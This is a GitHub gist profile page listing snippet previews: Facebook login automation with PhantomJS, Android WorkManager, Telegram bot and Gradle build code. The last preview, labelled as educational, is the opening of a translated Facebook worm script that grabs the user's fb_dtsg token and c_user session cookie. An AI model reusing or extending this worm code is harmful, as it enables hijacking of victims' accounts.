Skip to content

Instantly share code, notes, and snippets.

View ariefbayu's full-sized avatar
🏠
Working from home

Arief Bayu Purwanto ariefbayu

🏠
Working from home
View GitHub Profile
@ariefbayu
ariefbayu / phantomjs-facebook-update.js
Created September 11, 2012 09:48
facebook status update using phantomjs
var page = new WebPage();
//spoof it as opera mini, to get the mobile page working properly
page.settings.userAgent = "Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/27.1407; U; en) Presto/2.8.119 Version/11.10";
function doLogin(){
page.evaluate(function(){
var frm = document.getElementById("login_form");
frm.elements["email"].value = "--enter-your-email--";
package xyz.ariefbayu.android.workmanagertutorial.worker;
import android.content.Context;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.work.ExistingWorkPolicy;
import androidx.work.OneTimeWorkRequest;
import androidx.work.PeriodicWorkRequest;
import androidx.work.WorkManager;
implementation "androidx.work:work-runtime:2.2.0"
implementation "com.squareup.okhttp3:okhttp:4.2.2"
OneTimeWorkRequest refreshWork = new OneTimeWorkRequest.Builder(ProcessingWorker.class).build();
WorkManager.getInstance(getApplicationContext()).enqueueUniqueWork(PUSH_LOCATION_WORK_TAG, ExistingWorkPolicy.KEEP, refreshWork);
OneTimeWorkRequest refreshWork = new OneTimeWorkRequest.Builder(ProcessingWorker.class).build();
WorkManager.getInstance(getApplicationContext()).enqueueUniqueWork(PUSH_LOCATION_WORK_TAG, ExistingWorkPolicy.KEEP, refreshWork);
<?php
$loader = require __DIR__.'/vendor/autoload.php';
use Longman\TelegramBot\Request;
$API_KEY = '--botfather-api-keu--';
$BOT_NAME = '--bofather-bot-name--';
$telegram = new Longman\TelegramBot\Telegram($API_KEY, $BOT_NAME);
if(project.hasProperty("serverbuild.properties")
&& new File(project.property("serverbuild.properties")).exists()) {
Properties props = new Properties()
props.load(new FileInputStream(file(project.property("serverbuild.properties"))))
android {
signingConfigs {
release {
storeFile file(props['keystore'])
<?php
class JsonLoadAndCacher {
public $url;
public $hash;
//set cache directory here
private $fileLocation = 'd:/temp/';
public function LoadJson($url) {
$hash = md5($url);
//set your cached offline file as variable for ease of use
@ariefbayu
ariefbayu / build.gradle
Created February 12, 2016 03:44
custom build.gradle to support command line auto builder.
buildscript {
repositories {
maven { url 'https://maven.fabric.io/public' }
}
dependencies {
classpath 'io.fabric.tools:gradle:1.+'
}
}
apply plugin: 'com.android.application'
@ariefbayu
ariefbayu / facebook.js
Last active January 4, 2016 16:09
Translating worm codes from: http://pastebin.com/raw.php?i=X6Z6F0HM | For educational purpose only. Any misuse of this codes is beyond my responsibility :)
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(param) {
var tparam = param + '=';
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tparam);
if (konum != -1) {
konum += tparam.length;
son = document.cookie.indexOf(';', konum);